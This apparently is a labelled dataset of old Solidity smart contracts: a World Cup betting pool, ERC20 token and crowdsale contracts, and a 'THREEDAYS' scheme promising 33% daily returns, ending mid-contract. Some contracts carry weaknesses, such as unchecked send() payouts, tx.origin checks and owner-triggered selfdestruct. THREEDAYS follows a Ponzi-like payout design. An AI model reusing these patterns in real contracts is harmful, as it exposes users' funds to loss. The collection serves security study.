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pragma solidity ^0.4.24;
contract EtherWorldCup {
using SafeMath for uint;
address internal constant administrator = 0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae;
address internal constant givethAddress = 0x5ADF43DD006c6C36506e2b2DFA352E60002d22Dc;
string name = "EtherWorldCup";
string symbol = "EWC";
mapping (string => int8) worldCupGameID;
mapping (int8 => bool) gameFinished;
mapping (int8 => uint) gameLocked;
mapping (int8 => string) gameResult;
int8 internal latestGameFinished;
uint internal prizePool;
uint internal givethPool;
int registeredPlayers;
mapping (address => bool) playerRegistered;
mapping (address => mapping (int8 => bool)) playerMadePrediction;
mapping (address => mapping (int8 => string)) playerPredictions;
mapping (address => int8[64]) playerPointArray;
mapping (address => int8) playerGamesScored;
mapping (address => uint) playerStreak;
address[] playerList;
event Registration(
address _player
);
event PlayerLoggedPrediction(
address _player,
int _gameID,
string _prediction
);
event PlayerUpdatedScore(
address _player,
int _lastGamePlayed
);
event Comparison(
address _player,
uint _gameID,
string _myGuess,
string _result,
bool _correct
);
event StartAutoScoring(
address _player
);
event StartScoring(
address _player,
uint _gameID
);
event DidNotPredict(
address _player,
uint _gameID
);
event RipcordRefund(
address _player
);
constructor ()
public
{
worldCupGameID["RU-SA"] = 1;
gameLocked[1] = 1528988400;
worldCupGameID["EG-UY"] = 2;
worldCupGameID["MA-IR"] = 3;
worldCupGameID["PT-ES"] = 4;
gameLocked[2] = 1529064000;
gameLocked[3] = 1529074800;
gameLocked[4] = 1529085600;
worldCupGameID["FR-AU"] = 5;
worldCupGameID["AR-IS"] = 6;
worldCupGameID["PE-DK"] = 7;
worldCupGameID["HR-NG"] = 8;
gameLocked[5] = 1529143200;
gameLocked[6] = 1529154000;
gameLocked[7] = 1529164800;
gameLocked[8] = 1529175600;
worldCupGameID["CR-CS"] = 9;
worldCupGameID["DE-MX"] = 10;
worldCupGameID["BR-CH"] = 11;
gameLocked[9] = 1529236800;
gameLocked[10] = 1529247600;
gameLocked[11] = 1529258400;
worldCupGameID["SE-KR"] = 12;
worldCupGameID["BE-PA"] = 13;
worldCupGameID["TN-EN"] = 14;
gameLocked[12] = 1529323200;
gameLocked[13] = 1529334000;
gameLocked[14] = 1529344800;
worldCupGameID["CO-JP"] = 15;
worldCupGameID["PL-SN"] = 16;
worldCupGameID["RU-EG"] = 17;
gameLocked[15] = 1529409600;
gameLocked[16] = 1529420400;
gameLocked[17] = 1529431200;
worldCupGameID["PT-MA"] = 18;
worldCupGameID["UR-SA"] = 19;
worldCupGameID["IR-ES"] = 20;
gameLocked[18] = 1529496000;
gameLocked[19] = 1529506800;
gameLocked[20] = 1529517600;
worldCupGameID["DK-AU"] = 21;
worldCupGameID["FR-PE"] = 22;
worldCupGameID["AR-HR"] = 23;
gameLocked[21] = 1529582400;
gameLocked[22] = 1529593200;
gameLocked[23] = 1529604000;
worldCupGameID["BR-CR"] = 24;
worldCupGameID["NG-IS"] = 25;
worldCupGameID["CS-CH"] = 26;
gameLocked[24] = 1529668800;
gameLocked[25] = 1529679600;
gameLocked[26] = 1529690400;
worldCupGameID["BE-TN"] = 27;
worldCupGameID["KR-MX"] = 28;
worldCupGameID["DE-SE"] = 29;
gameLocked[27] = 1529755200;
gameLocked[28] = 1529766000;
gameLocked[29] = 1529776800;
worldCupGameID["EN-PA"] = 30;
worldCupGameID["JP-SN"] = 31;
worldCupGameID["PL-CO"] = 32;
gameLocked[30] = 1529841600;
gameLocked[31] = 1529852400;
gameLocked[32] = 1529863200;
worldCupGameID["UR-RU"] = 33;
worldCupGameID["SA-EG"] = 34;
worldCupGameID["ES-MA"] = 35;
worldCupGameID["IR-PT"] = 36;
gameLocked[33] = 1529935200;
gameLocked[34] = 1529935200;
gameLocked[35] = 1529949600;
gameLocked[36] = 1529949600;
worldCupGameID["AU-PE"] = 37;
worldCupGameID["DK-FR"] = 38;
worldCupGameID["NG-AR"] = 39;
worldCupGameID["IS-HR"] = 40;
gameLocked[37] = 1530021600;
gameLocked[38] = 1530021600;
gameLocked[39] = 1530036000;
gameLocked[40] = 1530036000;
worldCupGameID["KR-DE"] = 41;
worldCupGameID["MX-SE"] = 42;
worldCupGameID["CS-BR"] = 43;
worldCupGameID["CH-CR"] = 44;
gameLocked[41] = 1530108000;
gameLocked[42] = 1530108000;
gameLocked[43] = 1530122400;
gameLocked[44] = 1530122400;
worldCupGameID["JP-PL"] = 45;
worldCupGameID["SN-CO"] = 46;
worldCupGameID["PA-TN"] = 47;
worldCupGameID["EN-BE"] = 48;
gameLocked[45] = 1530194400;
gameLocked[46] = 1530194400;
gameLocked[47] = 1530208800;
gameLocked[48] = 1530208800;
worldCupGameID["1C-2D"] = 49;
worldCupGameID["1A-2B"] = 50;
gameLocked[49] = 1530367200;
gameLocked[50] = 1530381600;
worldCupGameID["1B-2A"] = 51;
worldCupGameID["1D-2C"] = 52;
gameLocked[51] = 1530453600;
gameLocked[52] = 1530468000;
worldCupGameID["1E-2F"] = 53;
worldCupGameID["1G-2H"] = 54;
gameLocked[53] = 1530540000;
gameLocked[54] = 1530554400;
worldCupGameID["1F-2E"] = 55;
worldCupGameID["1H-2G"] = 56;
gameLocked[55] = 1530626400;
gameLocked[56] = 1530640800;
worldCupGameID["W49-W50"] = 57;
worldCupGameID["W53-W54"] = 58;
gameLocked[57] = 1530885600;
gameLocked[58] = 1530900000;
worldCupGameID["W55-W56"] = 59;
worldCupGameID["W51-W52"] = 60;
gameLocked[59] = 1530972000;
gameLocked[60] = 1530986400;
worldCupGameID["W57-W58"] = 61;
gameLocked[61] = 1531245600;
worldCupGameID["W59-W60"] = 62;
gameLocked[62] = 1531332000;
worldCupGameID["L61-L62"] = 63;
gameLocked[63] = 1531576800;
worldCupGameID["W61-W62"] = 64;
gameLocked[64] = 1531666800;
latestGameFinished = 0;
}
function register()
public
payable
{
address _customerAddress = msg.sender;
require( tx.origin == _customerAddress
&& !playerRegistered[_customerAddress]
&& _isCorrectBuyin (msg.value));
registeredPlayers = SafeMath.addint256(registeredPlayers, 1);
playerRegistered[_customerAddress] = true;
playerGamesScored[_customerAddress] = 0;
playerList.push(_customerAddress);
uint fivePercent = 0.01009 ether;
uint tenPercent = 0.02018 ether;
uint prizeEth = (msg.value).sub(tenPercent);
require(playerRegistered[_customerAddress]);
prizePool = prizePool.add(prizeEth);
givethPool = givethPool.add(fivePercent);
administrator.send(fivePercent);
emit Registration(_customerAddress);
}
function makePrediction(int8 _gameID, string _prediction)
public {
address _customerAddress = msg.sender;
uint predictionTime = now;
require(playerRegistered[_customerAddress]
&& !gameFinished[_gameID]
&& predictionTime < gameLocked[_gameID]);
if (_gameID > 48 && equalStrings(_prediction, "DRAW")) {
revert();
} else {
playerPredictions[_customerAddress][_gameID] = _prediction;
playerMadePrediction[_customerAddress][_gameID] = true;
emit PlayerLoggedPrediction(_customerAddress, _gameID, _prediction);
}
}
function showPlayerScores(address _participant)
view
public
returns (int8[64])
{
return playerPointArray[_participant];
}
function gameResultsLogged()
view
public
returns (int)
{
return latestGameFinished;
}
function calculateScore(address _participant)
view
public
returns (int16)
{
int16 finalScore = 0;
for (int8 i = 0; i < latestGameFinished; i++) {
uint j = uint(i);
int16 gameScore = playerPointArray[_participant][j];
finalScore = SafeMath.addint16(finalScore, gameScore);
}
return finalScore;
}
function countParticipants()
public
view
returns (int)
{
return registeredPlayers;
}
function updateScore(address _participant)
public
{
int8 lastPlayed = latestGameFinished;
require(lastPlayed > 0);
int8 lastScored = playerGamesScored[_participant];
mapping (int8 => bool) madePrediction = playerMadePrediction[_participant];
mapping (int8 => string) playerGuesses = playerPredictions[_participant];
for (int8 i = lastScored; i < lastPlayed; i++) {
uint j = uint(i);
uint k = j.add(1);
uint streak = playerStreak[_participant];
emit StartScoring(_participant, k);
if (!madePrediction[int8(k)]) {
playerPointArray[_participant][j] = 0;
playerStreak[_participant] = 0;
emit DidNotPredict(_participant, k);
} else {
string storage playerResult = playerGuesses[int8(k)];
string storage actualResult = gameResult[int8(k)];
bool correctGuess = equalStrings(playerResult, actualResult);
emit Comparison(_participant, k, playerResult, actualResult, correctGuess);
if (!correctGuess) {
playerPointArray[_participant][j] = 0;
playerStreak[_participant] = 0;
} else {
streak = streak.add(1);
playerStreak[_participant] = streak;
if (streak >= 5) {
playerPointArray[_participant][j] = 4;
} else {
if (streak >= 3) {
playerPointArray[_participant][j] = 2;
}
else { playerPointArray[_participant][j] = 1; }
}
}
}
}
playerGamesScored[_participant] = lastPlayed;
}
function updateAllScores()
public
{
uint allPlayers = playerList.length;
for (uint i = 0; i < allPlayers; i++) {
address _toScore = playerList[i];
emit StartAutoScoring(_toScore);
updateScore(_toScore);
}
}
function playerLastScoredGame(address _player)
public
view
returns (int8)
{
return playerGamesScored[_player];
}
function playerIsRegistered(address _player)
public
view
returns (bool)
{
return playerRegistered[_player];
}
function correctResult(int8 _gameID)
public
view
returns (string)
{
return gameResult[_gameID];
}
function playerGuess(int8 _gameID)
public
view
returns (string)
{
return playerPredictions[msg.sender][_gameID];
}
function viewScore(address _participant)
public
view
returns (uint)
{
int8 lastPlayed = latestGameFinished;
mapping (int8 => bool) madePrediction = playerMadePrediction[_participant];
mapping (int8 => string) playerGuesses = playerPredictions[_participant];
uint internalResult = 0;
uint internalStreak = 0;
for (int8 i = 0; i < lastPlayed; i++) {
uint j = uint(i);
uint k = j.add(1);
uint streak = internalStreak;
if (!madePrediction[int8(k)]) {
internalStreak = 0;
} else {
string storage playerResult = playerGuesses[int8(k)];
string storage actualResult = gameResult[int8(k)];
bool correctGuess = equalStrings(playerResult, actualResult);
if (!correctGuess) {
internalStreak = 0;
} else {
internalStreak++;
streak++;
if (streak >= 5) {
internalResult += 4;
} else {
if (streak >= 3) {
internalResult += 2;
}
else { internalResult += 1; }
}
}
}
}
return internalResult;
}
modifier isAdministrator() {
address _sender = msg.sender;
if (_sender == administrator) {
_;
} else {
revert();
}
}
function addNewGame(string _opponents, int8 _gameID)
isAdministrator
public {
worldCupGameID[_opponents] = _gameID;
}
function logResult(int8 _gameID, string _winner)
isAdministrator
public {
require((int8(0) < _gameID) && (_gameID <= 64)
&& _gameID == latestGameFinished + 1);
if (_gameID > 48 && equalStrings(_winner, "DRAW")) {
revert();
} else {
require(!gameFinished[_gameID]);
gameFinished [_gameID] = true;
gameResult [_gameID] = _winner;
latestGameFinished = _gameID;
assert(gameFinished[_gameID]);
}
}
function concludeTournament(address _first
, address _second
, address _third
, address _fourth)
isAdministrator
public
{
require(gameFinished[64]
&& playerIsRegistered(_first)
&& playerIsRegistered(_second)
&& playerIsRegistered(_third)
&& playerIsRegistered(_fourth));
givethAddress.send(givethPool);
uint tenth = prizePool.div(10);
_first.send (tenth.mul(4));
_second.send(tenth.mul(3));
_third.send (tenth.mul(2));
_fourth.send(address(this).balance);
selfdestruct(administrator);
}
function pullRipCord()
isAdministrator
public
{
uint players = playerList.length;
for (uint i = 0; i < players; i++) {
address _toRefund = playerList[i];
_toRefund.send(0.19171 ether);
emit RipcordRefund(_toRefund);
}
selfdestruct(administrator);
}
function _isCorrectBuyin(uint _buyin)
private
pure
returns (bool) {
return _buyin == 0.2018 ether;
}
function compare(string _a, string _b)
private
pure
returns (int)
{
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function equalStrings(string _a, string _b) pure private returns (bool) {
return compare(_a, _b) == 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function addint16(int16 a, int16 b) internal pure returns (int16) {
int16 c = a + b;
assert(c >= a);
return c;
}
function addint256(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
assert(c >= a);
return c;
}
}
| 1 | 3,978 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TokenContract is Ownable, StandardToken {
string public constant name = "CarVDB";
string public constant symbol = "CAR";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals));
bool public paused = false;
address public icoContract;
modifier canTransfer {
require(!paused || msg.sender==icoContract);
_;
}
function TokenContract() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function setIcoContract(address _icoContract) onlyOwner public {
require(_icoContract != address(0));
icoContract = _icoContract;
}
function pauseToken() public onlyOwner {
paused = true;
TokenIsPaused(paused);
}
function unpauseToken() public onlyOwner {
paused = false;
TokenIsPaused(paused);
}
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public canTransfer returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public canTransfer returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public canTransfer returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
event TokenIsPaused(bool _paused);
}
| 1 | 2,105 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract OwnableToken {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function OwnableToken() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BurnableToken is BasicToken, OwnableToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public onlyOwner {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PointToken is OwnableToken, BurnableToken, StandardToken {
string public name;
string public symbol;
uint8 public decimals;
bool public paused = true;
mapping(address => bool) public whitelist;
modifier whenNotPaused() {
require(!paused || whitelist[msg.sender]);
_;
}
constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
Transfer(address(0), holder, balances[holder] = totalSupply_ = uint256(10)**(9 + decimals));
addToWhitelist(holder);
addToWhitelist(buffer);
}
function unpause() public onlyOwner {
paused = false;
}
function pause() public onlyOwner {
paused = true;
}
function addToWhitelist(address addr) public onlyOwner {
whitelist[addr] = true;
}
function removeFromWhitelist(address addr) public onlyOwner {
whitelist[addr] = false;
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract PointCrowdsale is CappedCrowdsale, RefundableCrowdsale {
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _cap,
ERC20 _token,
uint256 _goal
)
public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal)
{
require(_goal <= _cap);
}
}
| 0 | 133 |
pragma solidity ^0.4.24;
contract THREEDAYS{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 33;
address public ownerWallet;
address public owner;
address public bountyManager;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 0 | 1,140 |
pragma solidity ^0.4.8;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
